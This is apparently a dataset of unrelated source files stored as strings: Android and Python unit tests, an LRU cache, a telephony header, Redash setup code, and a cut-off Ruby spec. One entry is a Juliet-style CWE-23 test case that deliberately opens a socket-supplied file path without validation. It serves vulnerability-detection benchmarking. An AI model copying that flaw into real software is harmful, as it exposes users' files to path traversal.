with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.vrem.wifianalyzer.wifi.graph.channel;\n\nimport android.content.Context;\nimport android.content.res.Resources;\nimport android.support.v4.util.Pair;\nimport android.view.View;\n\nimport com.jjoe64.graphview.GraphView;\nimport com.vrem.wifianalyzer.BuildConfig;\nimport com.vrem.wifianalyzer.Configuration;\nimport com.vrem.wifianalyzer.RobolectricUtil;\nimport com.vrem.wifianalyzer.settings.Settings;\nimport com.vrem.wifianalyzer.wifi.band.WiFiBand;\nimport com.vrem.wifianalyzer.wifi.band.WiFiChannel;\nimport com.vrem.wifianalyzer.wifi.graph.tools.GraphLegend;\nimport com.vrem.wifianalyzer.wifi.graph.tools.GraphViewWrapper;\nimport com.vrem.wifianalyzer.wifi.model.SortBy;\nimport com.vrem.wifianalyzer.wifi.model.WiFiConnection;\nimport com.vrem.wifianalyzer.wifi.model.WiFiData;\nimport com.vrem.wifianalyzer.wifi.model.WiFiDetail;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.robolectric.RobolectricGradleTestRunner;\nimport org.robolectric.annotation.Config;\n\nimport java.util.ArrayList;\nimport java.util.Set;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.mockito.Matchers.any;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@RunWith(RobolectricGradleTestRunner.class)\n@Config(constants = BuildConfig.class)\npublic class ChannelGraphViewTest {\n private Context context;\n private Resources resources;\n private Settings settings;\n private Configuration configuration;\n private GraphViewWrapper graphViewWrapper;\n\n private ChannelGraphView fixture;\n\n @Before\n public void setUp() throws Exception {\n RobolectricUtil.INSTANCE.getMainActivity();\n\n graphViewWrapper = mock(GraphViewWrapper.class);\n context = mock(Context.class);\n resources = mock(Resources.class);\n settings = mock(Settings.class);\n configuration = mock(Configuration.class);\n\n fixture = new ChannelGraphView(WiFiBand.GHZ2, new Pair<>(WiFiChannel.UNKNOWN, WiFiChannel.UNKNOWN));\n fixture.setGraphViewWrapper(graphViewWrapper);\n fixture.setContext(context);\n fixture.setResources(resources);\n fixture.setSettings(settings);\n fixture.setConfiguration(configuration);\n\n }\n\n @Test\n public void testUpdate() throws Exception {\n // setup\n WiFiData wiFiData = new WiFiData(new ArrayList(), WiFiConnection.EMPTY, new ArrayList());\n withSettings();\n // execute\n fixture.update(wiFiData);\n // validate\n verify(graphViewWrapper).removeSeries(any(Set.class));\n verify(graphViewWrapper).updateLegend(GraphLegend.RIGHT);\n verify(graphViewWrapper).setVisibility(View.VISIBLE);\n verifySettings();\n }\n\n private void verifySettings() {\n verify(settings).getChannelGraphLegend();\n verify(settings).getSortBy();\n verify(settings).getWiFiBand();\n }\n\n private void withSettings() {\n when(settings.getChannelGraphLegend()).thenReturn(GraphLegend.RIGHT);\n when(settings.getSortBy()).thenReturn(SortBy.CHANNEL);\n when(settings.getWiFiBand()).thenReturn(WiFiBand.GHZ2);\n }\n\n @Test\n public void testGetGraphView() throws Exception {\n // setup\n GraphView expected = mock(GraphView.class);\n when(graphViewWrapper.getGraphView()).thenReturn(expected);\n // execute\n GraphView actual = fixture.getGraphView();\n // validate\n assertEquals(expected, actual);\n verify(graphViewWrapper).getGraphView();\n }\n}", "/* TEMPLATE GENERATED TESTCASE FILE\r\nFilename: CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad.cpp\r\nLabel Definition File: CWE23_Relative_Path_Traversal.label.xml\r\nTemplate File: sources-sink-83_bad.tmpl.cpp\r\n*/\r\n/*\r\n * @description\r\n * CWE: 23 Relative Path Traversal\r\n * BadSource: connect_socket Read data using a connect socket (client side)\r\n * GoodSource: Use a fixed file name\r\n * Sinks: ifstream\r\n * BadSink : Open the file named in data using ifstream::open()\r\n * Flow Variant: 83 Data flow: data passed to class constructor and destructor by declaring the class object on the stack\r\n *\r\n * */\r\n#ifndef OMITBAD\r\n\r\n#include \"std_testcase.h\"\r\n#include \"CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83.h\"\r\n\r\n#ifdef _WIN32\r\n#include \r\n#include \r\n#include \r\n#pragma comment(lib, \"ws2_32\") /* include ws2_32.lib when linking */\r\n#define CLOSE_SOCKET closesocket\r\n#else /* NOT _WIN32 */\r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#define INVALID_SOCKET -1\r\n#define SOCKET_ERROR -1\r\n#define CLOSE_SOCKET close\r\n#define SOCKET int\r\n#endif\r\n\r\n#define TCP_PORT 27015\r\n#define IP_ADDRESS \"127.0.0.1\"\r\n\r\n#include \r\nusing namespace std;\r\n\r\nnamespace CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83\r\n{\r\nCWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad::CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad(char * dataCopy)\r\n{\r\n data = dataCopy;\r\n {\r\n#ifdef _WIN32\r\n WSADATA wsaData;\r\n int wsaDataInit = 0;\r\n#endif\r\n int recvResult;\r\n struct sockaddr_in service;\r\n char *replace;\r\n SOCKET connectSocket = INVALID_SOCKET;\r\n size_t dataLen = strlen(data);\r\n do\r\n {\r\n#ifdef _WIN32\r\n if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)\r\n {\r\n break;\r\n }\r\n wsaDataInit = 1;\r\n#endif\r\n /* POTENTIAL FLAW: Read data using a connect socket */\r\n connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\r\n if (connectSocket == INVALID_SOCKET)\r\n {\r\n break;\r\n }\r\n memset(&service, 0, sizeof(service));\r\n service.sin_family = AF_INET;\r\n service.sin_addr.s_addr = inet_addr(IP_ADDRESS);\r\n service.sin_port = htons(TCP_PORT);\r\n if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)\r\n {\r\n break;\r\n }\r\n /* Abort on error or the connection was closed, make sure to recv one\r\n * less char than is in the recv_buf in order to append a terminator */\r\n /* Abort on error or the connection was closed */\r\n recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (FILENAME_MAX - dataLen - 1), 0);\r\n if (recvResult == SOCKET_ERROR || recvResult == 0)\r\n {\r\n break;\r\n }\r\n /* Append null terminator */\r\n data[dataLen + recvResult / sizeof(char)] = '\\0';\r\n /* Eliminate CRLF */\r\n replace = strchr(data, '\\r');\r\n if (replace)\r\n {\r\n *replace = '\\0';\r\n }\r\n replace = strchr(data, '\\n');\r\n if (replace)\r\n {\r\n *replace = '\\0';\r\n }\r\n }\r\n while (0);\r\n if (connectSocket != INVALID_SOCKET)\r\n {\r\n CLOSE_SOCKET(connectSocket);\r\n }\r\n#ifdef _WIN32\r\n if (wsaDataInit)\r\n {\r\n WSACleanup();\r\n }\r\n#endif\r\n }\r\n}\r\n\r\nCWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad::~CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad()\r\n{\r\n {\r\n ifstream inputFile;\r\n /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */\r\n inputFile.open((char *)data);\r\n inputFile.close();\r\n }\r\n}\r\n}\r\n#endif /* OMITBAD */\r\n", "/**\n * Tiny LRU cache for Client or Server\n *\n * @author Jason Mulligan \n * @copyright 2018\n * @license BSD-3-Clause\n * @link https://github.com/avoidwork/tiny-lru\n * @version 5.0.5\n */\n\"use strict\";\n\n(function (global) {\n\tconst empty = null;\n\n\tclass LRU {\n\t\tconstructor (max, ttl) {\n\t\t\tthis.clear();\n\t\t\tthis.max = max;\n\t\t\tthis.ttl = ttl;\n\t\t}\n\n\t\tclear () {\n\t\t\tthis.cache = {};\n\t\t\tthis.first = empty;\n\t\t\tthis.last = empty;\n\t\t\tthis.length = 0;\n\n\t\t\treturn this;\n\t\t}\n\n\t\tdelete (key, bypass = false) {\n\t\t\treturn this.remove(key, bypass);\n\t\t}\n\n\t\tevict () {\n\t\t\tif (this.length > 0) {\n\t\t\t\tthis.remove(this.last, true);\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\n\t\tget (key) {\n\t\t\tlet result;\n\n\t\t\tif (this.has(key) === true) {\n\t\t\t\tconst item = this.cache[key];\n\n\t\t\t\tif (item.expiry === -1 || item.expiry > Date.now()) {\n\t\t\t\t\tresult = item.value;\n\t\t\t\t\tthis.set(key, result, true);\n\t\t\t\t} else {\n\t\t\t\t\tthis.remove(key, true);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn result;\n\t\t}\n\n\t\thas (key) {\n\t\t\treturn key in this.cache;\n\t\t}\n\n\t\tremove (key, bypass = false) {\n\t\t\tif (bypass === true || this.has(key) === true) {\n\t\t\t\tconst item = this.cache[key];\n\n\t\t\t\tdelete this.cache[key];\n\t\t\t\tthis.length--;\n\n\t\t\t\tif (item.next !== empty) {\n\t\t\t\t\tthis.cache[item.next].prev = item.prev;\n\t\t\t\t}\n\n\t\t\t\tif (item.prev !== empty) {\n\t\t\t\t\tthis.cache[item.prev].next = item.next;\n\t\t\t\t}\n\n\t\t\t\tif (this.first === key) {\n\t\t\t\t\tthis.first = item.next;\n\t\t\t\t}\n\n\t\t\t\tif (this.last === key) {\n\t\t\t\t\tthis.last = item.prev;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\n\t\tset (key, value, bypass = false) {\n\t\t\tif (bypass === true || this.has(key) === true) {\n\t\t\t\tconst item = this.cache[key];\n\n\t\t\t\titem.value = value;\n\n\t\t\t\tif (this.first !== key) {\n\t\t\t\t\tconst p = item.prev,\n\t\t\t\t\t\tn = item.next,\n\t\t\t\t\t\tf = this.cache[this.first];\n\n\t\t\t\t\titem.prev = empty;\n\t\t\t\t\titem.next = this.first;\n\t\t\t\t\tf.prev = key;\n\n\t\t\t\t\tif (p !== empty) {\n\t\t\t\t\t\tthis.cache[p].next = n;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (n !== empty) {\n\t\t\t\t\t\tthis.cache[n].prev = p;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (this.last === key) {\n\t\t\t\t\t\tthis.last = p;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (this.length === this.max) {\n\t\t\t\t\tthis.evict();\n\t\t\t\t}\n\n\t\t\t\tthis.length++;\n\t\t\t\tthis.cache[key] = {\n\t\t\t\t\texpiry: this.ttl > 0 ? new Date().getTime() + this.ttl : -1,\n\t\t\t\t\tprev: empty,\n\t\t\t\t\tnext: this.first,\n\t\t\t\t\tvalue: value\n\t\t\t\t};\n\n\t\t\t\tif (this.length === 1) {\n\t\t\t\t\tthis.last = key;\n\t\t\t\t} else {\n\t\t\t\t\tthis.cache[this.first].prev = key;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthis.first = key;\n\n\t\t\treturn this;\n\t\t}\n\t}\n\n\tfunction factory (max = 1000, ttl = 0) {\n\t\treturn new LRU(max, ttl);\n\t}\n\n\t// Node, AMD & window supported\n\tif (typeof exports !== \"undefined\") {\n\t\tmodule.exports = factory;\n\t} else if (typeof define === \"function\" && define.amd !== void 0) {\n\t\tdefine(() => factory);\n\t} else {\n\t\tglobal.lru = factory;\n\t}\n}(typeof window !== \"undefined\" ? window : global));\n", "/*\n * SpanDSP - a series of DSP components for telephony\n *\n * super_tone_rx.h - Flexible telephony supervisory tone detection.\n *\n * Written by Steve Underwood \n *\n * Copyright (C) 2003 Steve Underwood\n *\n * All rights reserved.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License version 2.1,\n * as published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\n * $Id: super_tone_rx.h,v 1.21 2009/02/10 13:06:47 steveu Exp $\n */\n\n#if !defined(_SPANDSP_SUPER_TONE_RX_H_)\n#define _SPANDSP_SUPER_TONE_RX_H_\n\n/*! \\page super_tone_rx_page Supervisory tone detection\n\n\\section super_tone_rx_page_sec_1 What does it do?\n\nThe supervisory tone detector may be configured to detect most of the world's\ntelephone supervisory tones - things like ringback, busy, number unobtainable,\nand so on.\n\n\\section super_tone_rx_page_sec_2 How does it work?\n\nThe supervisory tone detector is passed a series of data structures describing\nthe tone patterns - the frequencies and cadencing - of the tones to be searched\nfor. It constructs one or more Goertzel filters to monitor the required tones.\nIf tones are close in frequency a single Goertzel set to the centre of the\nfrequency range will be used. This optimises the efficiency of the detector. The\nGoertzel filters are applied without applying any special window functional\n(i.e. they use a rectangular window), so they have a sinc like response.\nHowever, for most tone patterns their rejection qualities are adequate. \n\nThe detector aims to meet the need of the standard call progress tones, to\nITU-T E.180/Q.35 (busy, dial, ringback, reorder). Also, the extended tones,\nto ITU-T E.180, Supplement 2 and EIA/TIA-464-A (recall dial tone, special\nringback tone, intercept tone, call waiting tone, busy verification tone,\nexecutive override tone, confirmation tone).\n*/\n\n/*! Tone detection indication callback routine */\ntypedef void (*tone_report_func_t)(void *user_data, int code, int level, int delay);\n\ntypedef struct super_tone_rx_segment_s super_tone_rx_segment_t;\n\ntypedef struct super_tone_rx_descriptor_s super_tone_rx_descriptor_t;\n\ntypedef struct super_tone_rx_state_s super_tone_rx_state_t;\n\n#if defined(__cplusplus)\nextern \"C\"\n{\n#endif\n\n/*! Create a new supervisory tone detector descriptor.\n \\param desc The supervisory tone set desciptor. If NULL, the routine will allocate space for a\n descriptor.\n \\return The supervisory tone set descriptor.\n*/\nSPAN_DECLARE(super_tone_rx_descriptor_t *) super_tone_rx_make_descriptor(super_tone_rx_descriptor_t *desc);\n\n/*! Free a supervisory tone detector descriptor.\n \\param desc The supervisory tone set desciptor.\n \\return 0 for OK, -1 for fail.\n*/\nSPAN_DECLARE(int) super_tone_rx_free_descriptor(super_tone_rx_descriptor_t *desc);\n\n/*! Add a new tone pattern to a supervisory tone detector set.\n \\param desc The supervisory tone set descriptor.\n \\return The new tone ID. */\nSPAN_DECLARE(int) super_tone_rx_add_tone(super_tone_rx_descriptor_t *desc);\n\n/*! Add a new tone pattern element to a tone pattern in a supervisory tone detector.\n \\param desc The supervisory tone set desciptor.\n \\param tone The tone ID within the descriptor.\n \\param f1 Frequency 1 (-1 for a silent period).\n \\param f2 Frequency 2 (-1 for a silent period, or only one frequency).\n \\param min The minimum duration, in ms.\n \\param max The maximum duration, in ms.\n \\return The new number of elements in the tone description.\n*/\nSPAN_DECLARE(int) super_tone_rx_add_element(super_tone_rx_descriptor_t *desc,\n int tone,\n int f1,\n int f2,\n int min,\n int max);\n\n/*! Initialise a supervisory tone detector.\n \\param s The supervisory tone detector context.\n \\param desc The tone descriptor.\n \\param callback The callback routine called to report the valid detection or termination of\n one of the monitored tones.\n \\param user_data An opaque pointer passed when calling the callback routine.\n \\return The supervisory tone detector context.\n*/\nSPAN_DECLARE(super_tone_rx_state_t *) super_tone_rx_init(super_tone_rx_state_t *s,\n super_tone_rx_descriptor_t *desc,\n tone_report_func_t callback,\n void *user_data);\n\n/*! Release a supervisory tone detector.\n \\param s The supervisory tone context.\n \\return 0 for OK, -1 for fail.\n*/\nSPAN_DECLARE(int) super_tone_rx_release(super_tone_rx_state_t *s);\n\n/*! Free a supervisory tone detector.\n \\param s The supervisory tone context.\n \\return 0 for OK, -1 for fail.\n*/\nSPAN_DECLARE(int) super_tone_rx_free(super_tone_rx_state_t *s);\n\n/*! Define a callback routine to be called each time a tone pattern element is complete. This is\n mostly used when analysing a tone.\n \\param s The supervisory tone context.\n \\param callback The callback routine.\n*/\nSPAN_DECLARE(void) super_tone_rx_segment_callback(super_tone_rx_state_t *s,\n void (*callback)(void *data, int f1, int f2, int duration));\n\n/*! Apply supervisory tone detection processing to a block of audio samples.\n \\brief Apply supervisory tone detection processing to a block of audio samples.\n \\param super The supervisory tone context.\n \\param amp The audio sample buffer.\n \\param samples The number of samples in the buffer.\n \\return The number of samples processed.\n*/\nSPAN_DECLARE(int) super_tone_rx(super_tone_rx_state_t *super, const int16_t amp[], int samples);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n/*- End of file ------------------------------------------------------------*/\n", "import sys\nimport logging\nimport urlparse\nimport urllib\n\nimport redis\nfrom flask import Flask, current_app\nfrom flask_sslify import SSLify\nfrom werkzeug.contrib.fixers import ProxyFix\nfrom werkzeug.routing import BaseConverter\nfrom statsd import StatsClient\nfrom flask_mail import Mail\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_ipaddr\nfrom flask_migrate import Migrate\n\nfrom redash import settings\nfrom redash.query_runner import import_query_runners\nfrom redash.destinations import import_destinations\n\n\n__version__ = '7.0.0-beta'\n\n\nimport os\nif os.environ.get(\"REMOTE_DEBUG\"):\n import ptvsd\n ptvsd.enable_attach(address=('0.0.0.0', 5678))\n\n\ndef setup_logging():\n handler = logging.StreamHandler(sys.stdout if settings.LOG_STDOUT else sys.stderr)\n formatter = logging.Formatter(settings.LOG_FORMAT)\n handler.setFormatter(formatter)\n logging.getLogger().addHandler(handler)\n logging.getLogger().setLevel(settings.LOG_LEVEL)\n\n # Make noisy libraries less noisy\n if settings.LOG_LEVEL != \"DEBUG\":\n logging.getLogger(\"passlib\").setLevel(\"ERROR\")\n logging.getLogger(\"requests.packages.urllib3\").setLevel(\"ERROR\")\n logging.getLogger(\"snowflake.connector\").setLevel(\"ERROR\")\n logging.getLogger('apiclient').setLevel(\"ERROR\")\n\n\ndef create_redis_connection():\n logging.debug(\"Creating Redis connection (%s)\", settings.REDIS_URL)\n redis_url = urlparse.urlparse(settings.REDIS_URL)\n\n if redis_url.scheme == 'redis+socket':\n qs = urlparse.parse_qs(redis_url.query)\n if 'virtual_host' in qs:\n db = qs['virtual_host'][0]\n else:\n db = 0\n\n client = redis.StrictRedis(unix_socket_path=redis_url.path, db=db)\n else:\n if redis_url.path:\n redis_db = redis_url.path[1]\n else:\n redis_db = 0\n # Redis passwords might be quoted with special characters\n redis_password = redis_url.password and urllib.unquote(redis_url.password)\n client = redis.StrictRedis(host=redis_url.hostname, port=redis_url.port, db=redis_db, password=redis_password)\n\n return client\n\n\nsetup_logging()\nredis_connection = create_redis_connection()\n\nmail = Mail()\nmigrate = Migrate()\nmail.init_mail(settings.all_settings())\nstatsd_client = StatsClient(host=settings.STATSD_HOST, port=settings.STATSD_PORT, prefix=settings.STATSD_PREFIX)\nlimiter = Limiter(key_func=get_ipaddr, storage_uri=settings.LIMITER_STORAGE)\n\nimport_query_runners(settings.QUERY_RUNNERS)\nimport_destinations(settings.DESTINATIONS)\n\nfrom redash.version_check import reset_new_version_status\nreset_new_version_status()\n\n\nclass SlugConverter(BaseConverter):\n def to_python(self, value):\n # This is ay workaround for when we enable multi-org and some files are being called by the index rule:\n # for path in settings.STATIC_ASSETS_PATHS:\n # full_path = safe_join(path, value)\n # if os.path.isfile(full_path):\n # raise ValidationError()\n\n return value\n\n def to_url(self, value):\n return value\n\n\ndef create_app():\n from redash import authentication, extensions, handlers\n from redash.handlers.webpack import configure_webpack\n from redash.handlers import chrome_logger\n from redash.models import db, users\n from redash.metrics.request import provision_app\n from redash.utils import sentry\n\n sentry.init()\n\n app = Flask(__name__,\n template_folder=settings.STATIC_ASSETS_PATH,\n static_folder=settings.STATIC_ASSETS_PATH,\n static_path='/static')\n\n # Make sure we get the right referral address even behind proxies like nginx.\n app.wsgi_app = ProxyFix(app.wsgi_app, settings.PROXIES_COUNT)\n app.url_map.converters['org_slug'] = SlugConverter\n\n if settings.ENFORCE_HTTPS:\n SSLify(app, skips=['ping'])\n\n # configure our database\n app.config['SQLALCHEMY_DATABASE_URI'] = settings.SQLALCHEMY_DATABASE_URI\n app.config.update(settings.all_settings())\n\n provision_app(app)\n db.init_app(app)\n migrate.init_app(app, db)\n mail.init_app(app)\n authentication.init_app(app)\n limiter.init_app(app)\n handlers.init_app(app)\n configure_webpack(app)\n extensions.init_extensions(app)\n chrome_logger.init_app(app)\n users.init_app(app)\n\n return app\n", "from datetime import timedelta\nfrom random import randint\n\nfrom ichnaea.data.tasks import (\n monitor_api_key_limits,\n monitor_api_users,\n monitor_queue_size,\n)\nfrom ichnaea import util\n\n\nclass TestMonitor(object):\n\n def test_monitor_api_keys_empty(self, celery, stats):\n monitor_api_key_limits.delay().get()\n stats.check(gauge=[('api.limit', 0)])\n\n def test_monitor_api_keys_one(self, celery, redis, stats):\n today = util.utcnow().strftime('%Y%m%d')\n rate_key = 'apilimit:no_key_1:v1.geolocate:' + today\n redis.incr(rate_key, 13)\n\n monitor_api_key_limits.delay().get()\n stats.check(gauge=[\n ('api.limit', ['key:no_key_1', 'path:v1.geolocate']),\n ])\n\n def test_monitor_api_keys_multiple(self, celery, redis, stats):\n now = util.utcnow()\n today = now.strftime('%Y%m%d')\n yesterday = (now - timedelta(hours=24)).strftime('%Y%m%d')\n data = {\n 'test': {'v1.search': 11, 'v1.geolocate': 13},\n 'no_key_1': {'v1.search': 12},\n 'no_key_2': {'v1.geolocate': 15},\n }\n for key, paths in data.items():\n for path, value in paths.items():\n rate_key = 'apilimit:%s:%s:%s' % (key, path, today)\n redis.incr(rate_key, value)\n rate_key = 'apilimit:%s:%s:%s' % (key, path, yesterday)\n redis.incr(rate_key, value - 10)\n\n # add some other items into Redis\n redis.lpush('default', 1, 2)\n redis.set('cache_something', '{}')\n\n monitor_api_key_limits.delay().get()\n stats.check(gauge=[\n ('api.limit', ['key:test', 'path:v1.geolocate']),\n ('api.limit', ['key:test', 'path:v1.search']),\n ('api.limit', ['key:no_key_1', 'path:v1.search']),\n ('api.limit', ['key:no_key_2', 'path:v1.geolocate']),\n ])\n\n def test_monitor_queue_size(self, celery, redis, stats):\n data = {\n 'export_queue_internal': 3,\n 'export_queue_backup:abcd-ef-1234': 7,\n }\n for name in celery.all_queues:\n data[name] = randint(1, 10)\n\n for k, v in data.items():\n redis.lpush(k, *range(v))\n\n monitor_queue_size.delay().get()\n stats.check(\n gauge=[('queue', 1, v, ['queue:' + k]) for k, v in data.items()])\n\n\nclass TestMonitorAPIUsers(object):\n\n @property\n def today(self):\n return util.utcnow().date()\n\n @property\n def today_str(self):\n return self.today.strftime('%Y-%m-%d')\n\n def test_empty(self, celery, stats):\n monitor_api_users.delay().get()\n stats.check(gauge=[('submit.user', 0), ('locate.user', 0)])\n\n def test_one_day(self, celery, geoip_data, redis, stats):\n bhutan_ip = geoip_data['Bhutan']['ip']\n london_ip = geoip_data['London']['ip']\n redis.pfadd(\n 'apiuser:submit:test:' + self.today_str, bhutan_ip, london_ip)\n redis.pfadd(\n 'apiuser:submit:valid_key:' + self.today_str, bhutan_ip)\n redis.pfadd(\n 'apiuser:locate:valid_key:' + self.today_str, bhutan_ip)\n\n monitor_api_users.delay().get()\n stats.check(gauge=[\n ('submit.user', 1, 2, ['key:test', 'interval:1d']),\n ('submit.user', 1, 2, ['key:test', 'interval:7d']),\n ('submit.user', 1, 1, ['key:valid_key', 'interval:1d']),\n ('submit.user', 1, 1, ['key:valid_key', 'interval:7d']),\n ('locate.user', 1, 1, ['key:valid_key', 'interval:1d']),\n ('locate.user', 1, 1, ['key:valid_key', 'interval:7d']),\n ])\n\n def test_many_days(self, celery, geoip_data, redis, stats):\n bhutan_ip = geoip_data['Bhutan']['ip']\n london_ip = geoip_data['London']['ip']\n days_6 = (self.today - timedelta(days=6)).strftime('%Y-%m-%d')\n days_7 = (self.today - timedelta(days=7)).strftime('%Y-%m-%d')\n redis.pfadd(\n 'apiuser:submit:test:' + self.today_str, '127.0.0.1', bhutan_ip)\n # add the same IPs + one new one again\n redis.pfadd(\n 'apiuser:submit:test:' + days_6, '127.0.0.1', bhutan_ip, london_ip)\n # add one entry which is too old\n redis.pfadd(\n 'apiuser:submit:test:' + days_7, bhutan_ip)\n\n monitor_api_users.delay().get()\n stats.check(gauge=[\n ('submit.user', 1, 2, ['key:test', 'interval:1d']),\n # we count unique IPs over the entire 7 day period,\n # so it's just 3 uniques\n ('submit.user', 1, 3, ['key:test', 'interval:7d']),\n ])\n\n # the too old key was deleted manually\n assert not redis.exists('apiuser:submit:test:' + days_7)\n", "\"\"\"\nTest command line commands.\n\"\"\"\nfrom pathlib import Path\nfrom subprocess import PIPE, Popen\n\n__author__ = \"Sergey Vartanov\"\n__email__ = \"me@enzet.ru\"\n\nfrom xml.etree import ElementTree\nfrom xml.etree.ElementTree import Element\n\nfrom map_machine.ui.cli import COMMAND_LINES\n\nLOG: bytes = (\n b\"INFO Constructing ways...\\n\"\n b\"INFO Constructing nodes...\\n\"\n b\"INFO Drawing ways...\\n\"\n b\"INFO Drawing main icons...\\n\"\n b\"INFO Drawing extra icons...\\n\"\n b\"INFO Drawing texts...\\n\"\n)\n\n\ndef error_run(arguments: list[str], message: bytes) -> None:\n \"\"\"Run command that should fail and check error message.\"\"\"\n with Popen([\"map-machine\"] + arguments, stderr=PIPE) as pipe:\n _, error = pipe.communicate()\n assert pipe.returncode != 0\n assert error == message\n\n\ndef run(arguments: list[str], message: bytes) -> None:\n \"\"\"Run command that should fail and check error message.\"\"\"\n with Popen([\"map-machine\"] + arguments, stderr=PIPE) as pipe:\n _, error = pipe.communicate()\n assert pipe.returncode == 0\n assert error == message\n\n\ndef test_wrong_render_arguments() -> None:\n \"\"\"Test `render` command with wrong arguments.\"\"\"\n error_run(\n [\"render\", \"-z\", \"17\"],\n b\"CRITICAL Specify either --input, or --boundary-box, or --coordinates \"\n b\"and --size.\\n\",\n )\n\n\ndef test_render() -> None:\n \"\"\"Test `render` command.\"\"\"\n run(\n COMMAND_LINES[\"render\"] + [\"--cache\", \"tests/data\"],\n LOG + b\"INFO Writing output SVG to out/map.svg...\\n\",\n )\n with Path(\"out/map.svg\").open(encoding=\"utf-8\") as output_file:\n root: Element = ElementTree.parse(output_file).getroot()\n\n # 4 expected elements: `defs`, `rect` (background), `g` (outline),\n # `g` (icon), 4 `text` elements (credits).\n assert len(root) == 8\n assert len(root[3][0]) == 0\n assert root.get(\"width\") == \"186.0\"\n assert root.get(\"height\") == \"198.0\"\n\n\ndef test_render_with_tooltips() -> None:\n \"\"\"Test `render` command.\"\"\"\n run(\n COMMAND_LINES[\"render_with_tooltips\"] + [\"--cache\", \"tests/data\"],\n LOG + b\"INFO Writing output SVG to out/map.svg...\\n\",\n )\n with Path(\"out/map.svg\").open(encoding=\"utf-8\") as output_file:\n root: Element = ElementTree.parse(output_file).getroot()\n\n # 4 expected elements: `defs`, `rect` (background), `g` (outline),\n # `g` (icon), 4 `text` elements (credits).\n assert len(root) == 8\n assert len(root[3][0]) == 1\n assert root[3][0][0].text == \"natural: tree\"\n assert root.get(\"width\") == \"186.0\"\n assert root.get(\"height\") == \"198.0\"\n\n\ndef test_icons() -> None:\n \"\"\"Test `icons` command.\"\"\"\n run(\n COMMAND_LINES[\"icons\"],\n b\"INFO Icons are written to out/icons_by_name and out/icons_by_id.\\n\"\n b\"INFO Icon grid is written to out/icon_grid.svg.\\n\"\n b\"INFO Icon grid is written to doc/grid.svg.\\n\",\n )\n\n assert (Path(\"out\") / \"icon_grid.svg\").is_file()\n assert (Path(\"out\") / \"icons_by_name\").is_dir()\n assert (Path(\"out\") / \"icons_by_id\").is_dir()\n assert (Path(\"out\") / \"icons_by_name\" / \"R\u00f6ntgen apple.svg\").is_file()\n assert (Path(\"out\") / \"icons_by_id\" / \"apple.svg\").is_file()\n\n\ndef test_mapcss() -> None:\n \"\"\"Test `mapcss` command.\"\"\"\n run(\n COMMAND_LINES[\"mapcss\"],\n b\"INFO MapCSS 0.2 scheme is written to out/map_machine_mapcss.\\n\",\n )\n\n assert (Path(\"out\") / \"map_machine_mapcss\").is_dir()\n assert (Path(\"out\") / \"map_machine_mapcss\" / \"icons\").is_dir()\n assert (\n Path(\"out\") / \"map_machine_mapcss\" / \"icons\" / \"apple.svg\"\n ).is_file()\n assert (Path(\"out\") / \"map_machine_mapcss\" / \"map_machine.mapcss\").is_file()\n\n\ndef test_element() -> None:\n \"\"\"Test `element` command.\"\"\"\n run(\n COMMAND_LINES[\"element\"],\n b\"INFO Element is written to out/element.svg.\\n\",\n )\n assert (Path(\"out\") / \"element.svg\").is_file()\n\n\ndef test_tile() -> None:\n \"\"\"Test `tile` command.\"\"\"\n run(\n COMMAND_LINES[\"tile\"] + [\"--cache\", \"tests/data\"],\n LOG + b\"INFO Tile is drawn to out/tiles/tile_18_160199_88904.svg.\\n\"\n b\"INFO SVG file is rasterized to out/tiles/tile_18_160199_88904.png.\\n\",\n )\n\n assert (Path(\"out\") / \"tiles\" / \"tile_18_160199_88904.svg\").is_file()\n assert (Path(\"out\") / \"tiles\" / \"tile_18_160199_88904.png\").is_file()\n", "require File.dirname(__FILE__) + '/../../spec_helper'\n\n# include Remote\n\nclass TestEC2Class \n include PoolParty::Remote::RemoterBase\n include Ec2\n include CloudResourcer\n include CloudDsl\n \n def keypair\n \"fake_keypair\"\n end\n \n def ami;\"ami-abc123\";end\n def size; \"small\";end\n def security_group; \"default\";end\n def ebs_volume_id; \"ebs_volume_id\";end\n def availabilty_zone; \"us-east-1a\";end\n def verbose\n false\n end\n def ec2\n @ec2 ||= EC2::Base.new( 